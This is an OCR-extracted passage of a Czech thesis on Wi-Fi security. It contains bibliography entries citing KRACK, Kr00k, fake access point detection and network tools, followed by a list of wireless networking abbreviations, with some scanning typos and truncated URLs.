https://github.com/vanhoefm /krackattacks-scripts

66


https://www.krackattacks.com/
https://www
http://ng.org/
http://sourceforge.net/projects/airsnort/
https://www.wireshark.org/
https://hashcat.net/hashcat/
https://en.kali.tools/?p=34
http://github.com/charlesxsh/mdk3-master
https://www.kismetwireless.net/
http://Zeek.org
http://docs.zeek.org/en/master/
http://Zeek.org
https://does.zeek.org/en/current/scripts/base/protocols/conn/main.zeek.html
https://www.wifi-
https://www.kaggle.com/wjburns/common-
http://github.com/vanhoefm/krackattacks-scripts

[44]

[45]

[46]

[47]

[48]

[49]

[50]

[51]

[52]

[53]

Hping3 Package Description: hping3 — Active Network Smashing Tool. Kali.org
lonline]. [cit. 2020-05-28]. Dostupné z: https://tools.kali.org/information-
gathering /hping3

MAO, Qian; HU, Fei; HAO, Qi. Deep learning for intelligent wireless ne-
tworks: A comprehensive survey. IEEECommunications Surveys & Tutorials,
2018, 20.4: 2595-2621.

HACKELING, Gavin. Mastering Machine Learning with scikit-learn [online].
2. Packt Publishing Limited, 2017 [cit. 2020-05-27]. ISBN 9781788299879.

KUKREJA, Sunil L., Johan LOFBERG a Martin J. BRENNER. A LEAST
ABSOLUTE SHRINKAGE AND SELECTION OPERATOR (LASSO) FOR
NONLINEAR SYSTEM IDENTIFICATION. IFAC Proceedings Volumes [on-
line]. 2006, 39(1), 814-819 [cit. 2020-05-27]. DOIL: 10.3182/20060329-3-AU-
2901.00128. ISSN 14746670.

TIBO. Simple-traffic-generator. Gitlab.cylab [online]. 2019 [cit. 2020-05-28]. Do-
stupné z: https://gitlab.cylab.be/cylab/simple-traffic-generator

CERMAK, Milos, Stefan SVORENCIK a Rébert LIPOVSKY. KROOK -
CVE-2019-15126: SERIOUS VULNERABILITYDEEP INSIDE YOURWI-
FI ENCRYPTION. ESET Research white papers [online]. 2020, 2020

[cit.  2020-05-28].  Dostupné  z:  https://www.welivesecurity.com/wp-
content/uploads/2020/02/ESET _Kr00k.pdf

ROOkie-kr00kie. Exploring the krOOk attack [online]. 2020 [cit. 2020-05-28]. Do-
stupné z: https://hexway.io/research /r00kie-kr00Okie/

HSU, Fu-Hau, Yu-Liang HSU a Chuan-Sheng WANG. A solu-
tion to detect the existence of a malicious rogue AP. Compu-
ter  Communications [online]. 2019, 142-143, 62-68 [cit. 2020-05-
10]. DOI: 10.1016/j.comcom.2019.03.013. ISSN 01403664. Dostupné z:
https://linkinghub.elsevier.com/retrieve/pii/S0140366418306005

KIM, Taebeom, Haemin PARK, Hyunchul JUNG a Heejo LEE. Online De-
tection of Fake Access Points Using Received Signal Strengths. 2012 IEEE 75th
Vehicular Technology Conference (VTC Spring) online]. IEEE, 2012, 2012, |
1-5 [cit. 2020-05-10]. DOI: 10.1109/VETECS.2012.6240312. ISBN 978-1-4673-
0990-5.

KAO, Kuo Fong, Wen Ching CHEN, Jui Chi CHANG a Heng Te CHU. An

Accurate Fake Access Point Detection Method Based on Deviation of Beacon

67


http://Kali.org
https://tools.kali.org/information-
https://gitlab.cylab.be/cylab/simple-traffic-generator
https://www.welivesecurity.com/wp-
https://hexway.io/research/r00kie-kr00kie/
https://linkinghub.elsevier.com/retrieve/pii/S0140366418306005

Time Interval. 2014 IEEE Fighth International Conference on Software Security
and Reliability-Companion [online|. IEEE, 2014, 2014, , 1-2 [cit. 2020-05-10].
DOI: 10.1109/SERE-C.2014.13. ISBN 978-1-4799-5843-6.

[54) HURER-MACKAY, William. Forging WiFi Beacon Frames Using
Scapy. 4armed.com  [online]. 2016 [cit. 2020-05-30]. Dostupné z:

https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/

68


http://4armed.com
http://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/

Seznam symbolii, veli¢in a zkratek

ISM
WLAN
AP
OFDM
MU-MIMO
BYOD
MCS
RTS/CTS
CCMP
GCMP
AES
FHSS
DSSS

IR
MIMO
HCF
EDCA
DLP
DCF
CSMA/CA
PCF
ECSA
DSE
WEP
WPA
PSK
TKIP
WPS

PIN
EAPOL
PTK

RSC
KCK
KEK
PMK
MIC
GTK

Industrial, Scientific and Medical

Wireless Local Area Network

Access Point

Orthogonal Frequency Division Multiplexing
Multiple-User Multiple-Input Multiple-Output
Bring Your Own Device

Modulation and Coding Scheme

Request to send/Clear to send

Counter Mode with CBC-MAC Protocol
Galois/Counter Mode Protocol

Advanced Encryption Standard

Frequency Hopping Spread Spectrum

Direct Sequence Spread Spectrum

Infrared radiation or light

Multiple-Input Multiple-Output

Hybrid Coordination Function

Enhanced Distributed Channel Access
Direct Link Protocol

Distributed Coordinated Function

Carrier Sense Multiple Access/Collision Avoidance
Point Coordination Function

Extended Channel Switch Announcement
Dependent Station Enablement

Wired Equivalent Privacy

Wi-Fi Protected Access

Pre-Shared Key

Temporal Key Integrity Protocol

Wi-Fi Protected Setup

Private Identification Number

Extensible Authentication Protocol over LAN
Pairwise Transient Key

Receive Sequence Number

Key Confirmation Key

Key Encryption Key

Paiwise Master Key

Message Integrity Code

Group Temporary Key
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SAE
OWE
MFP
PAKE
ECC
ECP
FFC
MODP
RSNE
KRACK
DoS
PLCP
PSDU
PPDU
PMD
LLC
MAC
MSDU
MPDU
ICMP
ARP
SSID
VPN
WIDS
OFDMA
BSS
RADIUS
MMPDU
CBP
WIDS/WIPS

Simultaneous Authentication of Equals handshake
Opportunistic Wireless Encryption
Management Frame Protection

Password Authenticated Key Exchange
Elliptic Curve Cryptography

Elliptic Curve over a Prime field

Finite Field Cryptography

Multiiplicative groups Modulo a Prime
Robust Security Network Element

Key Reinstallation Attack

Denial of Service

Physical Layer Convergence Procedure
PLCP Service Data Unit

PLCP Protocol Data Unit

Physical Medium Dependent

Logical Link Control

Media Access Control

MAC Service Data Unit

MAC Protocol Data Unit

Internet Control Message Protocol

Address Resolution Protocol

Service Set Identifier

Virtual Private Network

Wireless Intrusion Detection System
Orthogonal Frequency Division Multiple Access
Base Service Station

Remote Authentication Dial In User Service
Management MAC Protocol Data Unit

Contention Based Protocol

Wireless Intrusion Detection System/Wireless Intrusion

Prevention System
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